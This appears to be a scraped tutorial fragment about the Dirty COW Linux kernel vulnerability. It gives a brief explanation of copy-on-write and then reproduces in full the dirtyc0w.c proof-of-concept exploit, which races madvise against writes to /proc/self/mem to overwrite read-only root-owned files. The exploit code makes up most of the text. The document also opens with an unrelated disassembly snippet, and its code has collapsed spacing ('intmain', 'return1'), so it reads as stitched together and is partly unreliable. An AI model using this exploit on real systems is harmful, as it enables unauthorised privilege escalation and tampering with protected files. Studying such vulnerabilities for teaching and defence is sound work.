0x000000000040082a <+90>: 5b pop rbx 0x000000000040082b <+91>: 5d pop rbp 0x000000000040082c <+92>: 41 5c pop r12 0x000000000040082e <+94>: 41 5d pop r13 0x0000000000400830 <+96>: 41 5e pop r14 0x0000000000400832 <+98>: 41 5f pop r15 0x0000000000400834 <+100>: c3 ret
Copy-on-write (COW), also called
implicit sharingor shadowing,is a resource-management
technique used in programming
to manage shared data efficiently. Instead of copying data right away
when multiple programs use it, the same data is shared between programs
until one tries to modify it. If no changes are made, no private copy is
created, saving resources.
A copy is only made when needed, ensuring each program has its own
version when modifications occur. This technique is commonly applied to
memory, files, and data structures.
/* ####################### dirtyc0w.c ####################### $ sudo -s # echo this is not a test > foo # chmod 0404 foo $ ls -lah foo -r-----r-- 1 root root 19 Oct 20 15:23 foo $ cat foo this is not a test $ gcc -pthread dirtyc0w.c -o dirtyc0w $ ./dirtyc0w foo m00000000000000000 mmap 56123000 madvise 0 procselfmem 1800000000 $ cat foo m00000000000000000 ####################### dirtyc0w.c ####################### */ #include<stdio.h> #include<sys/mman.h> #include<fcntl.h> #include<pthread.h> #include<unistd.h> #include<sys/stat.h> #include<string.h> #include<stdint.h>
void *map; int f; structstatst; char *name; void *madviseThread(void *arg) { char *str; str=(char*)arg; int i,c=0; for(i=0;i<100000000;i++) { /* You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661 > This is achieved by racing the madvise(MADV_DONTNEED) system call > while having the page of the executable mmapped in memory. */ c+=madvise(map,100,MADV_DONTNEED); } printf("madvise %d\n\n",c); } void *procselfmemThread(void *arg) { char *str; str=(char*)arg; /* You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 > The in the wild exploit we are aware of doesn't work on Red Hat > Enterprise Linux 5 and 6 out of the box because on one side of > the race it writes to /proc/self/mem, but /proc/self/mem is not > writable on Red Hat Enterprise Linux 5 and 6. */ int f=open("/proc/self/mem",O_RDWR); int i,c=0; for(i=0;i<100000000;i++) { /* You have to reset the file pointer to the memory position. */ lseek(f,(uintptr_t) map,SEEK_SET); c+=write(f,str,strlen(str)); } printf("procselfmem %d\n\n", c); } intmain(int argc,char *argv[]) { /* You have to pass two arguments. File and Contents. */ if (argc<3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return1; } pthread_t pth1,pth2; /* You have to open the file in read only mode. */ f=open(argv[1],O_RDONLY); fstat(f,&st); name=argv[1]; /* You have to use MAP_PRIVATE for copy-on-write mapping. > Create a private copy-on-write mapping. Updates to the > mapping are not visible to other processes mapping the same > file, and are not carried through to the underlying file. It > is unspecified whether changes made to the file after the > mmap() call are visible in the mapped region. */ /* You have to open with PROT_READ. */ map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); printf("mmap %zx\n\n",(uintptr_t) map); /* You have to do it on two threads. */ pthread_create(&pth1,NULL,madviseThread,argv[1]); pthread_create(&pth2,NULL,procselfmemThread,argv[2]); /* You have to wait for the threads to finish. */ pthread_join(pth1,NULL); pthread_join(pth2,NULL); return0; }